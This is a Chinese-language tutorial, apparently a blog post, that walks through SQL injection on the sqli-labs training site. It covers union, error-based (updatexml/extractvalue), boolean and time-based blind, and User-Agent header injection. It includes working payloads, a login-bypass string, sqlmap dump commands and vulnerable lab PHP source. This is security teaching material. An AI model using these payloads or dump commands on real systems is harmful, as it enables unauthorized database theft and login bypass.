SQL注入

内容 隐藏
1 SQL注入

SQL注入

介绍

SQL注入的本质:

​ 用户输入的数据当做SQL代码执行

SQL注入的流程:

检测是否存在漏洞

数字型判断:

当输入的参数 x 为整型时,通常Sql 语句类型大致如下:

select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

  • Url 地址中输入 http://xxx/abc.php?id= x and 1=1页面依旧运行正常,继续进行下一步。
  • Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2页面运行错误,则说明此 Sql 注入为数字型注入。

原理:

  • 当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1
    没有语法错误且逻辑判断为正确,所以返回正常。
  • 当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2
    没有语法错误但是逻辑判断为假,所以返回错误。

字符型判断

当输入的参 x 为字符型时,通常 SQL 语句类型大致如下: select * from <表名> where id = ‘x’ 这种类型我们同样可以使用 ‘ and 1=1 和 ‘ and 1=2来判断:

  • Url 地址中输入 http://xxx/abc.php?id= x ‘ and 1=1 页面运行正常,继续进行下一步。
  • Url 地址中继续输入 http://xxx/abc.php?id= x ‘ and 1=2 页面运行错误,则说明此 Sql 注入为字符型注入。
and 1=1这种方式很出名,所以很多网站会对这个做拦截,所以需要对这个做一些变形比如and -1=-1这种方式等
#除了逻辑运算符来判断是否存在漏洞还可以使用加减运算符来进行判断
#如果网页自行进行了运算,说明我们输入的内容被执行了,同时还知道是一个数字类型的
MariaDB [test]> select 1+2;
+-----+
| 1+2 |
+-----+
|   3 |
+-----+
1 row in set (0.001 sec)

#如果输入内容未被正常运算,说明这里不存在漏洞或者这是一个字符类型的
MariaDB [test]> select '1+2';
+-----+
| 1+2 |
+-----+
| 1+2 |
+-----+
1 row in set (0.000 sec)


#如果是字符类型的,也可以自行闭合在进行运算
MariaDB [test]> select '1'+1;
+-------+
| '1'+1 |
+-------+
|     2 |
+-------+
1 row in set (0.000 sec)

#所有的GET传参,他们都是要URL编码的,+在Url编码里面代表着空格。所以直接使用减好或者将+url编码后在使用
#除了上述两种还有一种通过延时来检查是否存在漏洞
#因为有些页面发现通过上述方式没有用,显示的都是一样的内容,此时就可以试试以下命令
and sleep(10)
#如果执行之后页面一直转圈圈加载中,差不多过了是10s才成功加载,说明此处可能存在漏洞

利用漏洞,看看能否拿到数据

union => 联合查询:将两条SQL语句的结果一齐输出(满足什么条件:相同字段数)

order by => 排序 (得到原有查询语句输出结果有几个字段) id一般都是正整数 and 1=2  数据库可以选择性输出

database()// 库、表、字段、数据 (显示当前数据库的库名)  => maoshe 堆叠注入(;结尾原有原句,然后后面另起一行)

information_schema => information_schema库里面存在着tables表,里面存放着数据库和数据表的关联,columns表中存放在数据表与字段的关联

库.表.字段 => 选中X库中的X表中的X字段

limit => 分页 
    limit n,m => 从n+1条数据取m条
    limit 8,9 => 从第9条数据开始取9条数据
    limit 0,1 => 从第一条数据开始取1条数据

group_concat(字段名) => 多行数据全部输出,通过“,”间隔(这个不建议使用,因为有些网站限制输出长度)

注释符

在sql注入时,为了避免后续代码的影响,比如说我们通过引号进行闭合后,在输入内容的最后还有一个引号,此时我们可以使用注释符,将我们插入内容后面的部分做注释

注释符号有以下三种

  • 从‘#’字符到行尾。 只在mysql数据库中有用不建议使用
  • 从‘– ’序列到行尾。请注意‘– ’(双破折号)注释风格要求第2个破折号后面至少跟一个空格符(例如空格、tab、换行符等等)。 推荐使用此方式
  • 从/序列到后面的/序列。结束序列不一定在同一行中,因此该语法允许注释跨越多行。

GET注入

字符型——Less-1

判断是是否存在漏洞,是哪种类型的

不用引号闭合直接通过逻辑判断,没有做逻辑判断

1658718401876

使用引号闭合再做逻辑判断

1658718348179

1658718333801

很明显这是一个字符型的

获取字段数

通过order by获取字段数

1658718948126

1658718980760

3的时候正常,4的时候报错,很明显有三个字段

获取回显点

通过union 进行联合查询

注意:有些网页只会显示查询结果的第一条,所以如果id为一个正确的值,那么网页只会会先联合查询前的内容,所以我们需要写一个不存在的id比如1.1这种小数

1658719093177

很明显回显点为第二和第三字段

获取库名

通过database()获取库名

1658719646026

库名为security

获取表名

1658798442893

获取表名emails,referers,uagents,users

获取字段名

通过查询information_schema.columns表中的column_name字段获取字段名

1658720609560

字段名为:id,username,password

获取数据

知道了库名,表名,字段名,可以查询表中的数据

1658720810073

数字型——Less-2

判断是是否存在漏洞,是哪种类型的

1658720988852

1658721010118

很明显是一个数字型

获取字段数

1658721140512

1658721152046

字段数为3

获取回显点

1658721235373

第二第三个字段为回显点

获取库名

1658721278459

库名为security

获取表名

1658721355645

获取表名emails,referers,uagents,users

获取字段名

1658721439058

字段名为:id,username,password

获取数据

1658721518978

是不是很简单?字符型和数字型感觉除了多一个引号没啥区别对吧

POST注入

其实本质上与GET是一样的,只不过GET获取传参是通过URL,而POST获取传参是 通过网页上的一些登录上传来获取的。

万能密码

比如有一个登录框我们想试试存不存在注入,就可以试试万能密码

haha' or 1=1 -- qwe

1658724563543

随便输入一个用户名,然后通过or 1=1来进行逻辑运算,因为无论前面内容对不对,or 1=1都是成立的,所以整体为真。通过引号来判断为字符型还是数字型

字符型——Less11

判断是否存在漏洞,且判断类型

1658724563543

存在漏洞,为字符型

获取字段数

通过order by来获取字段数

注意:如果知道正确的用户名,可以使用一下方法,如果不知道用户名就使用haha' or 1=1 order by 1 -- qwe来进行获取字段数。只不过大部分的登录都是可以注册的,最多就是权限不同所以大部分你是可以知道正确的用户名的

1658725857191

1658725798294

order by 2成功,order by 3报错字段数为2

获取回显点

1658725961113

发现字段1和字段2都是回显点

获取库名

1658726023772

库名为security

获取表名

1658726261571

获取表名emails,referers,uagents,users

获取字段名

1658726427825

字段名为:id,username,password

获取数据

1658726511893

是不是和get没什么区别?

SQL map的使用

GET注入

查看是否存在漏洞

python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1

1658730708341

发现存在漏洞

获取数据库名

sqlmap-master>python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 --dbs

1658731231983

获取到了所有的数据库名

获取表名

-D参数指定库名,–tables参数查询表名

python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 -D security --tables

1658731380376

获取到所有表名

获取字段名

-T参数指定表名,–columns参数查询字段名

python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 -D security -T users --columns

1658731534579

获取到了所有的字段名

查询信息

-C参数指定字段名,–dump参数枚举数据

python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-1/?id=1 -D security -T users -C username --dump

1658731648789

枚举出了所有的username字段的值

POST注入

直接注入

python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-11/

1658729414604

没有发现注入点,不存在漏洞

使用–form参数

python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-11/ --form

1658729556549

存在漏洞

使用-r参数

通过BURP抓包,将抓包的内容保存到一个文本文件中,可以是txt可以是php这个都无所谓,最好是保存在sqlmap的路径中

我这里创建一个test.txt用于存放抓包内容

1658729749965

我觉得uname这个传参可能存在漏洞,就在后面加一个星号(*)

使用-r参数指定文件,–level指定要测试的级别,–risk指定风险等级

python sqlmap.py -r test.txt --level 3 --risk 2

1658731005457

存在漏洞

接下来就和GET一样了,–dbs获取库名,–tables获取表名,–columns获取字段名,–dump枚举数据

温馨提示:
在学习的过程中不要使用sqlmap,咱们多手工,多练习。工具谁不会呢工作中慢慢用工具

报错注入

简介

报错注入是在没法用union联合查询时考虑使用的一种注入方式。

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要使用的是xpath语法错误concat+rand()+group_by()导致主键重复

xpath语法错误

利用xpath语法错误来进行报错注入主要利用extractvalueupdatexml两个函数。
使用条件:mysql版本>5.1.5

updatexml

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值
作用:更新目标xml中的内容
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
白话文版本
updatexml(目标xml内容,xml文档路径,更新的内容)
#演示
MariaDB [test]> select updatexml(1,'~',1);
ERROR 1105 (HY000): XPATH syntax error: '~'
“~”在报错中显示出来了,那么我们是不是可以在这个位置放入查询语句呢?
构造查询语句
#直接在第二字段处写查询语句
MariaDB [test]> select updatexml(1,'database()',1);     #使用引号查询语句为字符串不会执行
ERROR 1105 (HY000): XPATH syntax error: '()'

MariaDB [test]> select updatexml(1,database(),1);       #查询语句作为路径还是不会执行
+---------------------------+
| updatexml(1,database(),1) |
+---------------------------+
| 1                         |
+---------------------------+
1 row in set (0.000 sec)

MariaDB [test]> select updatexml(1,`database()`,1);     #通过反引号,还是不行
ERROR 1054 (42S22): Unknown column 'database()' in 'field list'


MariaDB [test]> select updatexml(1,concat('~',database(),'~'),1);   #使用concat函数来执行
ERROR 1105 (HY000): XPATH syntax error: '~test~'                    #成功执行

concat函数

CONCAT 函数用于将多个字符串连接为一个字符串,字段不能为空。

#连接纯数字
MariaDB [test]> select concat(1,2,3);
+---------------+
| concat(1,2,3) |
+---------------+
| 123           |
+---------------+
1 row in set (0.000 sec)

#连接代码与数字
MariaDB [test]> select concat(database(),2,3);      #代码被正常执行了
+------------------------+
| concat(database(),2,3) |
+------------------------+
| test23                 |
+------------------------+
1 row in set (0.000 sec)

特殊字符

因为concat虽然可以让我们执行代码,进行查询,查询结果会通过updatexml显示,但是显示的时候有时候并不是只会显示路径,可能还有一些其他的提示信息,那这个时候为了保证我们查询的结果不会和提示信息混淆,可以通过concat连接一些特殊的符号,特殊符号中间的内容就是我们查询的结果了,我这里习惯使用波浪号,其ASCII转码为0x7e,这样就可以不写引号了

extractvalue函数

函数原型:extractvalue(xml_document,Xpath_string)
正常语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
#演示
MariaDB [test]> select extractvalue(1,'~');
ERROR 1105 (HY000): XPATH syntax error: '~'

总结

这两个函数的利用都是一样的都是使用第二个字段,用于注入

concat+rand()+group_by()导致主键重复

如果感兴趣的自己研究下这篇文章写的还不错
https://blog.csdn.net/qq_45200829/article/details/104807806

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():

对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数

group by

group by是根据一个或多个列对结果集进行分组的sql语句,其用法为:

SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name;

进行注入——Less5

判断判断是是否存在漏洞,是哪种类型的

1658801737136

1658801699879

1658801719439

通过观察很明显可以知道,显示“You are in……”是页面正确的表现,所以在不用引号闭合的时候没有做逻辑运算,而通过引号闭合的时候做了逻辑运算,所以这是一个字符型的

使用联合查询

获取字段数

1658802139050

1658802151256

字段数为3
获取回显点

1658802069473

很遗憾一个回显点都没有
BBQ了?之前学的没用了,不能注入了?虽然没有回显点,但是在order by的时候很明显的看到了有报错信息的提示,那就试试报错注入把

使用报错注入

获取库名

1658802493095

库名为security
获取表名

1658803812258

获取表名emails,referers,uagents,users
获取字段名

1658803925947

字段名为:id,username,password
获取信息

1658804118367

盲注

简介

在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程称为盲注

  • 如果数据库运行返回结果时只反馈对错不会返回数据库中的信息,此时可以采用布尔盲注
  • 如果数据库运行返回结果时页面不发生变化,此时可以使用时间盲注

需要掌握函数

length(str)

作用:返回字符串str的长度,以字节为单位。

MariaDB [test]> select length('123asd');
+------------------+
| length('123asd') |
+------------------+
|                6 |
+------------------+
1 row in set (0.000 sec)
通过length获取关键字的长度

substr

作用:截取字符串

用法:

substr(string string,num start,num length);
select  substr(参数1,参数2,参数3)  from  表名
#string为字符串;start为起始位置;length为长度。

注意:mysql中的start是从1开始的。

#截取从第三个字符开始,长度为2
MariaDB [test]> select substr('hahaklala',3,2);
+-------------------------+
| substr('hahaklala',3,2) |
+-------------------------+
| ha                      |
+-------------------------+
1 row in set (0.000 sec)
通过substr将关键字逐位截取

If(expr,v1,v2)

作用:如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2

#表达式成了时,执行2
MariaDB [test]> select if(1=1,2,3);
+-------------+
| if(1=1,2,3) |
+-------------+
|           2 |
+-------------+
1 row in set (0.000 sec)

#表达式不成立时,执行3
MariaDB [test]> select if(2=1,2,3);
+-------------+
| if(2=1,2,3) |
+-------------+
|           3 |
+-------------+
1 row in set (0.000 sec)

表达式成了执行2,不成立执行3

Sleep(duration)

作用:在duration参数给定的秒数之后运行

#可以看到执行此命令使用了10秒
MariaDB [test]> select sleep(10);
+-----------+
| sleep(10) |
+-----------+
|         0 |
+-----------+
1 row in set (10.003 sec)

经过延迟返回结果

ascii(str)

作用:函数把str转换成ascii码值

#查看a的ASCII码值
MariaDB [test]> select ascii('a');
+------------+
| ascii('a') |
+------------+
|         97 |
+------------+
1 row in set (0.000 sec)

通过ascii函数获取对应的ASCII码数值

1658887025473

子查询

子查询需要被括号括起来

布尔盲注

原理

盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

开始注入——Less-16

判断是否存在漏洞,是哪种类型的

首先试试是不是数字型

1658821063525

大概率不是数字型,试试是不是字符型

1658821128607

1658821188555

1658821208844

常见的闭合方式:单引号,双引号,单引号+),双引号+)
很明显这里通过双引号+)成功闭合,所以这里是一个字符类型的

通过联合查询

获取字段数

1658821524003

很明显这里无法使用联合查询,也没有报错信息显示,所以报错注入肯定也是无法使用的

布尔盲注

获取库名

因为这里不会显示库名,所以我们只能靠猜名字对不对,如果名字对了,就会显示正确页面,反之显示错误页面

1658821886360

因为我是知道数据库名字的,这里直接猜肯定对,但是如果真实的让你去猜测一个数据库名得猜多少次?
数据库长度   每一位的范围      猜测次数
1           0-9             10
2           0-9             100
3           0-9             1000
4           0-9             10000
8           0-127           72,057,594,037,927,936
直接猜测完整的数据信息,很明显不太显示,那么我们是不是可以一步一步来猜呢?
获取数据库长度

1658822286604

1658822300290

1658822312356

1658822329682

注意:观察我们猜测的过程,这是有原因的
最后得到结论数据库名的长度大于7不大于8,所以长度为8
获取库名的第一位
#在mysql数据库中字符是可以直接比较大小的,我也不知道a和b谁大姑且算b>a把
MariaDB [test]> select 'a'>'b';
+---------+
| 'a'>'b' |
+---------+
|       0 |
+---------+
1 row in set (0.000 sec)

MariaDB [test]> select 'c'>'b';
+---------+
| 'c'>'b' |
+---------+
|       1 |
+---------+
1 row in set (0.001 sec)

1658822690272

我们不知道第一位是数字还是字母还是别的什么,虽然数据库的库名是不会有特殊符号的,但是这么猜也得要一会
那么我们是不是可以将数据库库名的第一位的值转换为ASCII码对应的数字呢?这样我们就可以使用工具来直接爆破了
在mysql中可以使用ascii函数将值转换为ASCII码值

1658822975009

通过burp获取库名

1658823358148

1658823150219

1658823254745

1658823294124

1658823332997

1658823603295

成功获取到8位字符分别对应的ASCII码
115为s
101为e
99为c
117为u
114为r
105为i
116为t
121为y
数据库名为:security
获取表名

获取表名长度

uname=admin") and length((select table_name from information_schema.tables where table_schema='security' limit 0,1)) =1 -- qwe&passwd=&submit=Submit

使用BURP抓包

1658885741974

1658885804192

猜测有几个表

1658885600753

猜测每个表名的长度

1658885629837

开始爆破

1658885647732

1658885424488

获取到有四个表,第一个表的长度为6位,第二个表的长度为8位,第三个表的长度为7位,第四个表的成都为5位

获取第一个表名

uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =1 -- qwe&passwd=&submit=Submit

1658886297823

知道表名有6位跑每一位

1658886480495

跑该位置对应的ASCII码值

1658886454697

开始爆破

1658886415270

1658886633925

爆破到了六位每一位对应的ASCII码
第一位:101——e
第二位:109——m
第三位:97——a
第四位:105——i
第五位:108——l
第六位:115——s
第一个表名为emails

第二第三个同理大家就自己去爆破把

获取字段名

与获取表名一样,先获取一共有多少个字段,每个字段名有多少位,然后再逐个爆破即可

获取字段个数,和位数

uname=admin") and length((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1))=1 -- qwe&passwd=&submit=Submit

1658887454860

1658887678266

1658887607387

1658887630938

1658887653328

1658887588576

从爆破结果可以得知该表中有两个字段,第一个字段为2位,第二个字段为8位

获取字段名

uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1)) =1 -- qwe&passwd=&submit=Submit

1658888617646

1658888579735

1658888595288

1658888563713

1658888549468

1658888537558

第一位:105——i
第二位:100——d
第一个字段名为:id

第二个字段名同理,大家自行爆破

获取数据

一样的流程,先获取数据的个数,和位数,在爆破数据

取数据的个数,和位数

uname=admin") and length((select id from emails limit 0,1))=1 -- qwe&passwd=&submit=Submit

1658889615875

1658889596675

1658889545290

1658889580392

1658889559312

1658889490562

知道有8个,都是1位

获取数据

uname=admin") and ascii(substr((select id from emails limit 0,1),1,1)) =0 -- qwe&passwd=&submit=Submit

1658890802647

1658890792491

1658890783344

1658890768782

难吗?不难。但是很烦所以同学们烦去吧,我就演示到这里了,加油~~

时间盲注

原理

盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,但是有些页面连最基本的正确还是错误都不提示 ,这就很无语,不过上有正常下有对策,我们可以使用延时函数,使得其如果正确就延时加载页面指定时间,这样我们可以通过查看页面是直接就加载完成了,还是延迟加载了一段时间来判断是否正确。

开始注入——Less-9

无论我们在传参处写入什么内容,页面显示的都是

1658892635713

所以此时要么不存在注入,要么只能使用最后的手段,时间盲注了

时间盲注

判断是否存在注入,是哪种类型的

1658893011405

当使用单引号闭合的时候很明显的加载时间边长了,所以这里存在时间盲注,且是字符型的
查询库名

那么要如何查询库名呢?是不是可以使用if条件判断结合sleep延时函数呢?如果我们的条件成了就执行延时,条件就是我们的查询语句。

?id=1'and if((length(database())=8),sleep(4),1) -- qwe
判断数据库名长度是否为8,如果是则延时4秒,如果不是则输出1(不成立的操作无所谓)
因为我是知道库名的所以知道长度为8,如果不知道就需要老老实实的先猜长度,再一个一个的猜对应位数的字符是什么。这个流程和我们布尔盲注是一样的,不过这里只能通过延时来观察,因为页面返回的内容都是一样的,所以爆破返回的结果的长度都是一样的,所以这时候就建议大家使用sqlmap工具了
使用sqlmap
查看是否存在漏洞
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2

1658896438856

存在时间盲注
查询库名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 --dbs

1658897754561

成功获取库名
查询表名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 -D security --tables

1658898218155

成功获取表名
查询字段名
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 -D security -T users --columns

1658900455224

成功获取字段名
查询数据
python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-9/?id=1' --level 3 --risk 2 -D security -T users -C username --dump

1658900506770

获取详细信息

HEAD注入

简介

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent.Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入等。

但是HEAD注入其实是比较难利用,因为我没正常情况下是没有后端代码的,他们的利用规则我们并不知道,无法有效闭合,所以一般情况下联合注入用不了,就会考虑盲注或者报错注入。

而且进行HEAD注入一般都出现在用户登录成功的数据包中,所以需要输入用户名和密码,虽然可以爆破,也可以自己创建一个普通用户来进行登录,但是总归还是有局限性的。

使用sqlmap跑包

python sqlmap.py -u http://192.168.239.254/sqli-labs/Less-18/ --level 3 --risk 2

1658798663716

并不能发现漏洞

源码查看

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

function check_input($value)
    {
    if(!empty($value))
        {
        // truncation (see comments)
        $value = substr($value,0,20);
        }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }

        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }

    else
        {
        $value = intval($value);
        }
    return $value;
    }



    $uagent = $_SERVER['HTTP_USER_AGENT'];      #调用预定义变量符中的元素
    $IP = $_SERVER['REMOTE_ADDR'];
    echo "<br>";
    echo 'Your IP ADDRESS is: ' .$IP;
    echo "<br>";
    //echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    /*
    echo 'Your Your User name:'. $uname;
    echo "<br>";
    echo 'Your Password:'. $passwd;
    echo "<br>";
    echo 'Your User Agent String:'. $uagent;
    echo "<br>";
    echo 'Your User Agent String:'. $IP;
    */

    //logging the connection parameters to a file for analysis. 
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Agent:'.$uname."\n");

    fclose($fp);



    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";      #$uagent直接调用预定义变量符中的内容,而且没有进行过滤,我们完全可以构造“HTTP_USER_AGENT”的值进行注入
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "</font>";
            //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';          
            echo 'Your User Agent is: ' .$uagent;
            echo "</font>";
            echo "<br>";
            print_r(mysql_error());         
            echo "<br><br>";
            echo '<img src="../images/flag.jpg"  />';
            echo "<br>";

            }
        else
            {
            echo '<font color= "#0000ff" font size="3">';
            //echo "Try again looser";
            print_r(mysql_error());
            echo "</br>";           
            echo "</br>";
            echo '<img src="../images/slap.jpg"   />';  
            echo "</font>";  
            }

    }

?>

$_SERVER是PHP中预定义变量符,可以获取头部信息,路径信息,IP信息。

通过以下代码查看$_SERVER的数据类型

1658733825150

web访问

1658734753719

BURP抓包修改User-Agent请求头的内容

1658734680925

1658734658077

可以查看到$_SERVER是一个数组包含35个元素,其中有很多信息,其中
HTTP_USER_AGENT:检查浏览页面的访问者在用什么操作系统(包括版本号)浏览器(包括版本号)和用户个人偏好的代码。也就是我们浏览器抓包中的User-Agent请求头的内容

进行注入

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";  
通过抓包修改User-Agent请求头的内容就可以了,但是需要考虑闭合的问题,这边需要获取三个变量的值,如果我们修改的是'$uagent'的内容,之后通过注释符,'$IP', $uname这两个变量无法正常赋值肯定是会出现问题的,因为这是一个插入语句,指定的字段和插入的内容必须一一对应。如果不相信可以自己试试。
使用以下闭合
','','') -- qwe
在第一个单引号与逗号之间可以插入我们需要的sql语句,但是问题有来了,这是一个插入语句,所以是不会有回显的,我们无法按照联合查询的那一套流程来进行。需要使用报错注入

获取库名

插入语句

' and updatexml(1,concat(0x7e,database(),0x7e),1),'','') -- qwe
注意:
有时候使用and不行可以尝试使用or

完整内容

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and updatexml(1,concat(0x7e,database(),0x7e),1),'','') -- qwe, '$IP', $uname)";   

1658735687895

成功获取库名

获取表名

 ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),'','') -- qwe

1658797940130

获取表名emails,referers,uagents,users

获取字段名

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1),'','') -- qwe

1658798080880

字段名为:id,username,password

获取数据

1658798157912

总结

这里演示的是User-Agent请求字段的注入,别的字段也都是有可能的,不过整体流程都是一样的,也都是需要查看源码进行有效闭合才可以

留下评论